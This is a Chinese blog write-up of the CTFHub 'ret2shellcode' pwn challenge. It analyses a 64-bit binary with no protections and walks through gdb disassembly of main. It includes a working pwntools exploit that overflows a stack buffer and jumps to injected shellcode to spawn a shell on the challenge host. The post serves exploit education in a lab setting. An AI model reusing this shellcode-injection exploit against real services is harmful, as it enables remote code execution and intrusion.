CTFHUB-PWN-ret2shellcode

PWN常用命令_猫疼玩AI的博客-CSDN博客

1.做题方法

几个大方向的思路:
没有PIE:ret2libc
NX关闭:ret2shellcode
其他思路:ret2csu、ret2text 【程序本身有shellcode

先检查开了什么保护

没有开保护 并且是64 的

放入ida64

查看字符串

 发现没有shell

我们看看主函数

 发现有read函数 但是没有shell

并且 read 的大小为 400u   但是我们buf的大小只为 10h 所以说明是让我们写shellcode进去

我们现在要确定一些信息

1.buf的大小

大小为 0x10+0x08  因为是64位

2.shellcode的地址

我们要知道shellcode的地址 必须要知道 buf的地址 因为我们要把buf填充满 然后再让栈进入shellcode的地址 然后再执行shellcode

我们把shellcode_addr放在 buf_addr后面

buf_addr 是在程序执行的时候给我们的 %p是输出地址

所以我们使用pwntools 的 recvuntil()函数来取得

3.shellcode

使用pwntools中的

shellcode = asm(shellcraft.sh())即可

但是注意 64位要加上 context.arch='amd64'

context.arch = 'amd64'
shellcode = asm(shellcraft.sh())

我们取得这些 我们就可以开始编写 exp

from pwn import *
import re
context.arch='amd64'
shellcode=asm(shellcraft.sh())
p=remote('challenge-c3b38bfcad408f15.sandbox.ctfhub.com',33975)
buf_addr=p.recvuntil(']')  #截取到]为止的字符串
buf_addr=int(buf_addr[-15:-1],16)  #处理一下 然后为16进制
shellcode_addr=buf_addr+32   #0x10+0x08+0x08 十进制为32
payload=b'a'*(0x10+0x08)+p64(shellcode_addr)+shellcode
p.sendline(payload)
p.interactive()

运行

 得到flag

最后晒出我自己理解的栈中的现象

2.开始解读栈内的方法 就是看gdb

► 0x40060b <main+4>     sub    rsp, 0x10   #减法rsp-0x10 就是开辟空间
   0x40060f <main+8>     mov    qword ptr [rbp - 0x10], 0
把0 作为数值存入 rbp:0x10的地址
   0x400617 <main+16>    mov    qword ptr [rbp - 8], 0
把0 作为数值存入 rbp:8的地址
   0x40061f <main+24>    mov    rax, qword ptr [rip + 0x200a22] 
<stdout@@GLIBC_2.2.5>
把qword ptr [rip + 0x200a22]的地址存入rax寄存器中 
   0x400626 <main+31>    mov    ecx, 0
把0作为参数存入ecx 这里是作为 下面setvbuf的第二个参数
   0x40062b <main+36>    mov    edx, 1
同理
   0x400630 <main+41>    mov    esi, 0
同理
   0x400635 <main+46>    mov    rdi, rax
然后把rax存入rdi 就是上面的stdout流
   0x400638 <main+49>    call   setvbuf@plt                      <setvbuf@plt>
调用setvbuf函数
 
   0x40063d <main+54>    lea    rdi, [rip + 0xd4]
开始调用[rip + 0xd4]的地址指针存入rdi 作为puts的参数
   0x400644 <main+61>    call   puts@plt  
开始调用puts函数
 0x400649 <main+66>     lea    rax, [rbp - 0x10]
开始把[rbp:0x10]的地址指针存入rax
   0x40064d <main+70>     mov    rsi, rax
把rax的值存入rsi寄存器 作为下面print函数的参数
   0x400650 <main+73>     lea    rdi, [rip + 0xe2]
把[rip+0xe2]的指针存入rdi 这里是字符串常量的地址
   0x400657 <main+80>     mov    eax, 0
将eax调为0 表示没有浮点数
   0x40065c <main+85>     call   printf@plt                      <printf@plt>
 开始调用printf函数

 ► 0x400661 <main+90>     lea    rdi, [rip + 0xe6]
把[rip:0xe6]的地址存入rdi寄存器 作为puts函数的参数 也是字符串
   0x400668 <main+97>     call   puts@plt                      <puts@plt>
调用puts函数
   0x40066d <main+102>    lea    rax, [rbp - 0x10]
把[rbp-0x10]的地址存入rax寄存器 这里是取得 这个地址的东西
   0x400671 <main+106>    mov    edx, 0x400
然后把400h存入edx 表示打印可以输出的最大字节
   0x400676 <main+111>    mov    rsi, rax
把rax存入rsi寄存器 就是作为参数
   0x400679 <main+114>    mov    edi, 0
把edi设置为0 作为参数 
 0x40067e       <main+119>                      call   read@plt                      <read@plt>
执行 read函数
 
   0x400683       <main+124>                      mov    eax, 0
把0作为参数存入eax
   0x400688       <main+129>                      leave  
退出
   0x400689       <main+130>                      ret    
返回到返回地址
    ↓
   0x7ffff7c29d90 <__libc_start_call_main+128>    mov    edi, eax
把eax存入edi
 ► 0x7ffff7c29d92 <__libc_start_call_main+130>    call   exit                <exit>
        status: 0x0
 调用exit函数 退出到主函数
   0x7ffff7c29d97 <__libc_start_call_main+135>    call   __nptl_deallocate_tsd                <__nptl_deallocate_tsd>
调用这个函数
 
   0x7ffff7c29d9c <__libc_start_call_main+140>    lock dec dword ptr [rip + 0x1ef505]  <__nptl_nthreads>
   0x7ffff7c29da3 <__libc_start_call_main+147>    sete   al
   0x7ffff7c29da6 <__libc_start_call_main+150>    test   al, al
   0x7ffff7c29da8 <__libc_start_call_main+152>    jne    __libc_start_call_main+168                <__libc_start_call_main+168>

到此解释完毕

执行函数前 先要调用寄存器 把函数的参数存入寄存器中 作为后面函数的参数

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值